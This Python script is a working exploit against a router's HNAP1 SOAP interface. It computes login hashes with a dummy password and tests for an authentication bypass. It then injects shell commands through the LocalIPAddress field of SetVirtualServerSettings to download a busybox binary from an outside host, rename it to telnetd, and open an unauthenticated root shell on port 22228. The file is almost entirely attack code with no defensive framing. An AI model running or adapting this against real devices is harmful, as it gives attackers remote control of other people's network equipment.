import hmac
import base64
import hashlib
from hashlib import sha256
import time
import math
import logging
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.propagate = True
def get_sha256(value):
""" get_sha256 """
hsobj = hashlib.sha256()
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_key_hashlib_sha256(key, value):
"""get_key_hashlib_sha256"""
hsobj = hashlib.sha256(key.encode("utf-8"))
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_hmac_hashlib_sha256(value):
"""get_hmac_hashlib_sha256"""
message = value.encode("utf-8")
return hmac.new(message, digestmod=hashlib.sha256).hexdigest().upper()
def get_hmac_key_hashlib_sha256(key, value):
"""get_hmac_key_hashlib_sha256"""
message = value.encode("utf-8")
return (
hmac.new(key.encode("utf-8"), message, digestmod=hashlib.sha256)
.hexdigest()
.upper()
)
def get_base64_hmac_sha256(key, value):
"""get_base64_hmac_sha256"""
key = key.encode("utf-8")
message = value.encode("utf-8")
sign = base64.b64encode(hmac.new(key, message, digestmod=sha256).digest())
base64sha256 = str(sign, "utf-8")
return base64sha256
def get_md5(value):
"""get_md5"""
hsobj = hashlib.md5()
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_key_md5(key, value):
"""get_key_md5"""
hsobj = hashlib.md5(key.encode("utf-8"))
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_hmac_key_md5(key, value):
"""get_hmac_key_md5"""
message = value.encode("utf-8")
return (
hmac.new(key.encode("utf-8"), message, digestmod=hashlib.md5)
.hexdigest()
.upper()
)
def get_hmac_md5(value):
"""get_hmac_md5"""
message = value.encode("utf-8")
return hmac.new(message, digestmod=hashlib.md5).hexdigest().upper()
def send_http(ip, port, https, headers, data):
"""send_http"""
if https is True:
https = "s"
else:
https = ""
res = requests.post(
url=f"http{https}://{ip}:{port}/HNAP1/",
data=data,
headers=headers,
timeout=1,
verify=False,
)
res_text = res.text
print(f"res_text\n===\n{res.text}\n===\n")
challenge = ""
if "<Challenge>" in res_text:
usb_adv_cgi_id = res_text.split("<Challenge>")
id_value = usb_adv_cgi_id[1].split("</Challenge>")
challenge = id_value[0]
print(f"[+] Challenge = {challenge}")
cookie = ""
if "<Cookie>" in res_text:
usb_adv_cgi_id = res_text.split("<Cookie>")
id_value = usb_adv_cgi_id[1].split("</Cookie>")
cookie = id_value[0]
print(f"[+] Cookie = {cookie}")
public_key = ""
if "<PublicKey>" in res_text:
usb_adv_cgi_id = res_text.split("<PublicKey>")
id_value = usb_adv_cgi_id[1].split("</PublicKey>")
public_key = id_value[0]
print(f"[+] PublicKey = {public_key}")
if "<LoginResult>" in res_text:
usb_adv_cgi_id = res_text.split("<LoginResult>")
id_value = usb_adv_cgi_id[1].split("</LoginResult>")
login_result = id_value[0]
print(f"[+] LoginResult = {login_result}")
return challenge, cookie, public_key, res_text
def login_request(ip, port, https):
"""login_result"""
xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>request</Action>
<Username>Admin</Username>
<PrivateLogin>Username</PrivateLogin>
<login_password></login_password>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
"Content-Type": "text/xml; charset=UTF-8",
}
challenge, cookie, public_key, _ = send_http(ip, port, https, headers, xml_post)
if challenge == b"":
print("[-] get Challenge error")
sys.exit(0)
return challenge, cookie, public_key
def login_login(ip, port, https, login_password, hnap_auth, time_now, cookie):
"""login_login"""
xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>login</Action>
<Username>Admin</Username>
<LoginPassword>{login_password}</LoginPassword>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"HNAP_AUTH": f"{hnap_auth} {time_now}",
"SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
"Content-Type": "text/xml; charset=UTF-8",
"Cookie": f"uid={cookie}",
}
send_http(ip, port, https, headers, xml_post)
def get_internet_conn_up_time(ip, port, https, hnap_auth, time_now, cookie):
"""get_internet_conn_up_time"""
xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetInternetConnUpTime xmlns="http://purenetworks.com/HNAP1/" />
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"HNAP_AUTH": f"{hnap_auth} {time_now}",
"SOAPAction": '"http://purenetworks.com/HNAP1/GetInternetConnUpTime"',
"Content-Type": "text/xml; charset=UTF-8",
"Cookie": f"uid={cookie}",
}
_, _, _, res_text = send_http(ip, port, https, headers, xml_post)
return res_text
def set_virtual_server_settings(ip, port, https, hnap_auth, time_now, cookie, cmd):
"""set_virtual_server_settings"""
xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetVirtualServerSettings xmlns="http://purenetworks.com/HNAP1/">
<VirtualServerList>
<VirtualServerInfo>
<Enabled>true</Enabled>
<VirtualServerDescription>false</VirtualServerDescription>
<ExternalPort>false</ExternalPort>
<InternalPort>9</InternalPort>
<ProtocolType>UDP</ProtocolType>
<ProtocolNumber>UDP</ProtocolNumber>
<LocalIPAddress>{cmd}</LocalIPAddress>
<ScheduleName>false</ScheduleName>
</VirtualServerInfo>
<VirtualServerInfo:0>
<Enabled>true</Enabled>
<VirtualServerDescription>false</VirtualServerDescription>
<ExternalPort>false</ExternalPort>
<InternalPort>9</InternalPort>
<ProtocolType>UDP</ProtocolType>
<ProtocolNumber>UDP</ProtocolNumber>
<LocalIPAddress>{cmd}</LocalIPAddress>
<ScheduleName>false</ScheduleName>
</VirtualServerInfo:0>
<VirtualServerInfo:1>
<Enabled>true</Enabled>
<VirtualServerDescription>false</VirtualServerDescription>
<ExternalPort>false</ExternalPort>
<InternalPort>9</InternalPort>
<ProtocolType>UDP</ProtocolType>
<ProtocolNumber>UDP</ProtocolNumber>
<LocalIPAddress>{cmd}</LocalIPAddress>
<ScheduleName>false</ScheduleName>
</VirtualServerInfo:1>
</VirtualServerList>
</SetVirtualServerSettings>
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"HNAP_AUTH": f"{hnap_auth} {time_now}",
"SOAPAction": '"http://purenetworks.com/HNAP1/SetVirtualServerSettings"',
"Content-Type": "text/xml; charset=UTF-8",
"Cookie": f"uid={cookie}",
}
send_http(ip, port, https, headers, xml_post)
def exploit():
""" Exploit """
target_ip = "192.168.4.1"
target_port = 443
target_https = True
print("Login_request")
challenge, cookie, public_key = login_request(target_ip, target_port, target_https)
dummy_password = "Admin"
private_key = get_hmac_key_md5(public_key + dummy_password, challenge)
login_password = get_hmac_key_md5(private_key, challenge)
print(f"[+] login_password : {login_password}")
soap_namespace2 = "http://purenetworks.com/HNAP1/"
action = "Login"
soap_action = f'"{soap_namespace2}{action}"'
print(f"[+] SOAPAction : {soap_action}")
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
print(f"[+] Time : {time_now}")
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print(f"[+] HNAP_AUTH : {hnap_auth}")
login_login(
target_ip, target_port, target_https, login_password, hnap_auth, time_now, cookie
)
soap_namespace2 = "http://purenetworks.com/HNAP1/"
action = "GetInternetConnUpTime"
soap_action = f'"{soap_namespace2}{action}"'
print(f"[+] SOAPAction : {soap_action}")
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
print(f"[+] Time : {time_now}")
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print(f"[+] HNAP_AUTH : {hnap_auth}")
print("Checking for the vulnerability")
res_text = get_internet_conn_up_time(
target_ip, target_port, target_https, hnap_auth, time_now, cookie
)
if "You need proper authorization to use this resource" in res_text:
print("Target doesn't appear to be vulnerable")
print("Running the RCE")
action = "SetVirtualServerSettings"
soap_action = f'"{soap_namespace2}{action}"'
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print(
"Downloading busybox from 'http://192.168.0.100:8000/busybox' as "
"the one on the device isn't good"
)
cmd = "1;wget http://192.168.0.100:8000/busybox -O /tmp/tel;AAAAAAAAAAA"
set_virtual_server_settings(
target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
)
action = "SetVirtualServerSettings"
soap_action = f'"{soap_namespace2}{action}"'
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print("Renaming busybox to /tmp/telnetd")
cmd = "1;chmod +x /tmp/tel;mv /tmp/tel /tmp/telnetd;AAAAAAAAAAAAAAAAAAAA"
set_virtual_server_settings(
target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
)
action = "SetVirtualServerSettings"
soap_action = f'"{soap_namespace2}{action}"'
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print("Launching telnetd on port 22228")
cmd = b"1;/tmp/telnetd -p 22228 -l sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
set_virtual_server_settings(
target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
)
if __name__ == "__main__":
exploit()